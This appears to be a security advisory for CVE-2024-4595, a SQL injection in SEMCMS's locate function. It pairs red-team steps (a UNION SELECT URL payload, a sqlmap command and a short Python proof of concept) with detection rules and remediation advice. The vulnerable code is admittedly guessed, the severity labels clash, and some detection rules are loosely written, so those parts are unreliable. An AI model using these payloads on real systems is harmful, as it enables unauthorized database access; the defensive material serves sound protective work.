CVE-2024-4595

Executive Summary

CVE-2024-4595 is a critical SQL injection vulnerability discovered in SEMCMS versions up to and including 4.8. The flaw resides in the locate function within function.php, allowing an unauthenticated remote attacker to inject arbitrary SQL commands. This can lead to unauthorized data access, modification, or deletion. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is currently available, making immediate mitigation essential.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The vulnerability is remotely exploitable without authentication, making it a significant threat despite the medium CVSS score. The public availability of exploit code elevates the risk.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the locate function of function.php. The function likely constructs a SQL query using user-supplied input without proper sanitization or parameterization. An attacker can manipulate the locate parameter to inject malicious SQL statements.

Root Cause: The application fails to validate or escape user input before incorporating it into a SQL query. This allows an attacker to break out of the intended query structure and execute arbitrary SQL commands.

Attack Vector: The attacker sends a crafted HTTP request to the vulnerable endpoint, typically via GET or POST parameters. The injection point is the locate parameter.

Impact: Successful exploitation can lead to:

• Extraction of sensitive data (e.g., user credentials, database contents)
• Modification or deletion of database records
• Potential escalation to remote code execution in some configurations

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code is the current state. A patched version would use prepared statements or parameterized queries.

Vulnerable Code (function.php):

function locate($id) {
    $sql = "SELECT * FROM table WHERE id = " . $id;
    $result = mysqli_query($conn, $sql);
    // ...
}

Patched Code (hypothetical):

function locate($id) {
    $stmt = $conn->prepare("SELECT * FROM table WHERE id = ?");
    $stmt->bind_param("i", $id);
    $stmt->execute();
    $result = $stmt->get_result();
    // ...
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable SEMCMS 4.8 instance (e.g., using Docker or a local web server with PHP and MySQL).
2. Ensure the application is accessible over the network.

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /function.php?locate=1).
2. Inject SQL payloads to extract data. Example:

   http://target/function.php?locate=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--
   

3. Use tools like sqlmap for automated exploitation:

   sqlmap -u "http://target/function.php?locate=1" --batch --dbs
   

Proof of Concept (PoC):

import requests

target = "http://target/function.php"
payload = "1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--"
response = requests.get(target, params={"locate": payload})
print(response.text)

Blue Team

Detection:

• Monitor for SQL injection patterns in HTTP requests (e.g., UNION, SELECT, OR 1=1).
• Use WAF rules to block suspicious parameters.

Hunting:

• Search logs for requests to function.php with unusual locate values.
• Look for database error messages in application logs.

Containment:

• Temporarily disable the vulnerable function or restrict access to function.php.
• Apply virtual patching via WAF.

Indicators of Compromise (IOCs)

• Network:

  • HTTP requests to /function.php with locate parameter containing SQL keywords (e.g., UNION, SELECT, --).
  • Database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").

• File:

  • Modified function.php if attacker attempts to backdoor.
  • Suspicious entries in web server logs.

• System:

  • Unexpected database queries or connections.
  • New user accounts or data exfiltration.

Detection Engineering

YARA Rule

rule CVE_2024_4595_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting SEMCMS locate function"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-4595"
    strings:
        $sqli1 = "locate=" nocase
        $sqli2 = "UNION" nocase
        $sqli3 = "SELECT" nocase
        $sqli4 = "OR 1=1" nocase
        $sqli5 = "--" nocase
    condition:
        any of ($sqli*) and #sqli1 > 0
}

Sigma Rule

title: SQL Injection Attempt Against SEMCMS locate Function
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts targeting CVE-2024-4595
author: Valters IT
date: 2024/10/27
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - "locate="
            - "UNION"
            - "SELECT"
            - "OR 1=1"
            - "--"
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-4595 SQL Injection Attempt"; flow:to_server,established; content:"locate="; http_uri; content:"UNION"; http_uri; nocase; content:"SELECT"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable function: If possible, remove or comment out the locate function in function.php.
2. Input validation: Implement strict input validation for the locate parameter (e.g., only allow numeric values).
3. Web Application Firewall (WAF): Deploy WAF rules to block SQL injection patterns.
4. Database hardening: Use least-privilege database accounts and restrict access.

Long-term Fix:

• Upgrade to a patched version of SEMCMS when available.
• Rewrite the vulnerable code using prepared statements or parameterized queries.
• Conduct a full security audit of the application.

Monitoring:

• Enable detailed logging for web and database servers.
• Set up alerts for SQL injection attempts.

Valters IT